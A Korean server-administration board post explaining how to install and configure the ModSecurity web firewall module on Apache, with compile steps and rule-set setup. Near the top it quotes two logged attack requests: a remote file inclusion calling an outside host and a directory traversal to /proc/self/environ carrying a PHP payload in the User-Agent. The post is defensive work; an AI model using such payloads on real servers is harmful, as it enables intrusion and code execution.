Skip to content

조회 수 10539 추천 수 0 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄

아래 로그는 id4rom.txt 같은 문서가 있는 주소에 include 시켜서 서버의 정보 같은것을 보거나 공격을 합니다.

"GET /blog/tag//?pag=http://pokolake.land.ru/id4rom.txt?? HTTP/1.1" 200 42371 "-" "libwww-perl/5.806"

PHP Injection 공격방법으로 서버의 디렉토리를 이동하는 공격 패턴입니다.

"GET /blog/archive//calendar.php?s=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 58549 "-" "XXX<? echo \"w0000t\"; ?>XXX"

 

위 같은 로그내용이.. ㅠ _ㅠ 계속해서 기록되길래 ModSecurity 모듈로 방어 해보고자 설치를 했습니다.

 

1. mod_unique_id 컴파일

아파치에 mod_unique_id 모듈이 설치 되어 있어야 합니다.

아파치 소스 디렉토리에 가서 설치를 진행하며 아파치의 apxs 를 이용하여 mod_unique_id.c 를 컴파일 합니다.

(소스 디렉토리 : /root/src/httpd-2.2.11 | apache2 설치디렉토리 : /etc/apache2)

yongbok# cd /root/src/httpd-2.2.11/modules/metadata

yongbok# /etc/apache2/bin/apxs -cia mod_unique_id.c

컴파일이 끝나면 자동으로 모듈이 생성되며 httpd.conf 문서 모듈 라인에 자동으로 붙습니다.

 

2. libxml2 설치

패키지로 설치해도 되긴 한데 리눅스 배포판마다 디렉토리 경로가 다르므로 소스로 설치하여 수동으로 잡았습니다.

yongbok# wget -P /root/src ftp://yongbok.net/Linux/Source/libxml/libxml2-2.7.3.tar.gz

yongbok# cd /root/src && tar xzvf libxml2-2.7.3.tar.gz

yongbok# cd libxml2-2.7.3

yongbok# ./configure --prefix=/usr/local/libxml2

yongbok# make && make install

 

3. ModSecurity 설치

ModSecurity 모듈을 공식 홈페이지에서 다운로드 합니다. http://www.modsecurity.org/download/

yongbok# wget -P /root/src http://www.modsecurity.org/download/modsecurity-apache_2.5.9.tar.gz

yongbok# cd /root/src && tar xzvf modsecurity-apache_2.5.9.tar.gz

yongbok# cd modsecurity-apache_2.5.9/apache2

yongbok# ./configure \
--with-apxs=/etc/apache2/bin/apxs \
--with-httpd-src=/root/src/httpd-2.2.11 \
--with-libxml=/usr/local/libxml2
yongbok# make && make install

 

httpd.conf 에서 모듈을 추가 해줍니다.

yongbok# vi /etc/apache2/conf/httpd.conf

LoadModule security2_module modules/mod_security2.so

 

4. Rule 셋팅

ModSecurity 샘플 룰셋을 이용하거나 국가의 룰셋을 이용하는 방법이 있습니다.(후자 쪽이 쉽더라구염)

1) ModSecurity 샘플 룰셋 적용

yongbok# wget -P /root/src http://www.modsecurity.org/download/modsecurity-core-rules_2.5-1.6.1.tar.gz

yongbok# mkdir /etc/apache2/conf/modsecurity && cd /root/src

yongbok# mv modsecurity-core-rules_2.5-1.6.1.tar.gz /etc/apache2/conf/modsecurity

yongbok# cd /etc/apache2/conf/modsecurity && tar xzvf modsecurity-core-rules_2.5-1.6.1.tar.gz

 

httpd.conf 파일에 아래와 같이 아무곳에나 추가합니다.

yongbok# vi /etc/apache2/conf/httpd.conf

LoadFile /usr/local/libxml2/lib/libxml2.so

Include conf/modsecurity/*.conf

 

이후 적용을 위해 아파치 재시작

yongbok# /etc/apache2/bin/apachectl restart

 

**샘플 룰셋 기본 파일 정보

정상적인 http protocol 위반접속요구(request header)

modsecurity_crs_20_protocol_violations.conf

정상적인 http protocol 위반접속요구(request header)
modsecurity_crs_21_protocol_anomalies.conf
http 정책에 대한 룰

modsecurity_crs_30_http_policy.conf
User-Agent에 대한 룰 : 고급화된 공격차단보다는 스캐너등 차단목적

modsecurity_crs_35_bad_robots.conf

SQL injection / PHP injection / Command access 에 대한 룰
modsecurity_crs_40_generic_attacks.conf
trojan이나 백도어에 대한 접근 룰

modsecurity_crs_45_trojans.conf
에러등 특정 결과값을 통해 정보를 취득하려는 시도 차단
modsecurity_crs_50_outbound.conf

 

2) 국가에서 만든 룰셋 적용

Securenet 에서 지원하는 웹 호스팅용 룰셋을 사용합니다. http://www.securenet.or.kr/main.jsp?menuSeq=501

최신 버전 샘플 룰셋을 다운받아 아파치가 설치된 디렉토리에 업로드 합니다.

httpd.conf 파일에 아래와 같이 아무곳에나 추가해줍니다.
yongbok# vi /etc/apache2/conf/httpd.conf

LoadFile /usr/local/libxml2/lib/libxml2.so

#2009년 3월 11일 날짜 샘플 룰셋

Include conf/modsecurity/modsecurity_2x_hosting_090311.conf

 

이후 적용을 위해 아파치 재시작 

yongbok# /etc/apache2/bin/apachectl restart

 

사용하고 있는 아파치 웹서버의 헤더 정보를 변경 할수도 있는데 샘플에 따라 헤더 정보가 다르니..

공식 샘플 경우는 Apache/2.2.0 (Fedora) 로 설정 되어 있고 국가 샘플의 경우는 Microsoft-IIS/5.0 로 설정이 되어 있습니다. 이 헤더 정보를 변경 하기 위해선 아래와 같이 사용자가 원하는 대로 변경하시면 됩니다.

공식 샘플의 경우 modsecurity_crs_10_config.conf 파일의 113번째 줄을 수정

yongbok# vi modsecurity_crs_10_config.conf

SecServerSignature "Apache/2.2.0 (Fedora)"

변경전 : SecServerSignature "Apache/2.2.0 (Fedora)"
변경후 : SecServerSignature "Microsoft-IIS/9.0"

 

국가 샘플의 경우 modsecurity_2x_hosting_090311.conf 파일의 56번째 줄을 수정

yongbok# vi modsecurity_2x_hosting_090311.conf

SecServerSignature "Microsoft-IIS/5.0"

변경전 : SecServerSignature "Microsoft-IIS/5.0"

변경후 : SecServerSignature "Microsoft-IIS/9.0"

 

귀찮으신 분들은 그냥 Ctrl + F 로 SecServerSignature 만 찾아서 위에 처럼 수정을 하시면 됩니다.


  1. /etc/passwd 구조

    Date2010.03.31 Byl2zeo Views34919
    Read More
  2. 64bit 시스템에 ssl 설치 후 실행 시 X509_free 오류

    Date2009.07.19 ByADMINPLAY Views9702
    Read More
  3. Apache 에 ModSecurity 모듈 설치하기

    Date2009.08.03 ByADMINPLAY Views10539
    Read More
  4. apache 웹방화벽 modsecurity용 웹설정 툴, Remo

    Date2009.09.09 ByADMINPLAY Views9446
    Read More
  5. apache 웹방화벽 모듈 modsecurity용 웹설정 툴, Remo

    Date2009.03.17 ByADMINPLAY Views10033
    Read More
  6. CentOS 5.2 32bit 에 2.6.27.4 커널 + iptables 1.4.2 + c...

    Date2008.11.10 ByADMIN Views7818
    Read More
  7. CentOS Portsentry 1.2 소스설치 오류

    Date2014.01.19 ByADMINPLAY Views7053
    Read More
  8. Cisco/Tip/라우터,스위치에서 패킷 캡쳐하기

    Date2010.03.23 Byl2zeo Views16123
    Read More
  9. DDOS - iptables 방화벽 초간단 문서

    Date2009.05.28 ByADMINPLAY Views12302
    Read More
  10. denyhosts (ssh, ftp 등의 접근 차단)

    Date2010.05.03 ByADMINPLAY Views21359
    Read More
  11. DOS Attack을 막기 위한 간단한 방법

    Date2009.05.22 ByADMINPLAY Views9568
    Read More
  12. fcheck - 리눅스 시스템 무결성 검사 툴

    Date2008.12.14 ByADMIN Views11026
    Read More
  13. find 명령어 활용(보안관련)

    Date2009.08.08 ByADMINPLAY Views9599
    Read More
  14. iframe 이용한 악성코드 삽입, 홈페이지 변조 사고 대비 ...

    Date2009.10.15 ByADMINPLAY Views10806
    Read More
  15. iptables 기본

    Date2009.05.22 ByADMINPLAY Views8386
    Read More
  16. iptables 리눅스? NETFILTER관련

    Date2010.03.08 Byl2zeo Views10122
    Read More
  17. iptables 명령어로 ip 차단 법.

    Date2009.05.28 ByADMINPLAY Views9283
    Read More
  18. iptables 설정, centos64 설치 간단셋팅

    Date2009.05.28 ByADMINPLAY Views8854
    Read More
  19. iptables 옵션 및 상태 추적 테이블 및 rule

    Date2009.11.30 ByADMINPLAY Views8851
    Read More
  20. iptables 포트 포워딩

    Date2009.06.04 ByADMINPLAY Views12037
    Read More
Board Pagination Prev 1 2 3 4 5 Next
/ 5

Copyright ADMINPLAY corp. All rights reserved.

abcXYZ, 세종대왕,1234

abcXYZ, 세종대왕,1234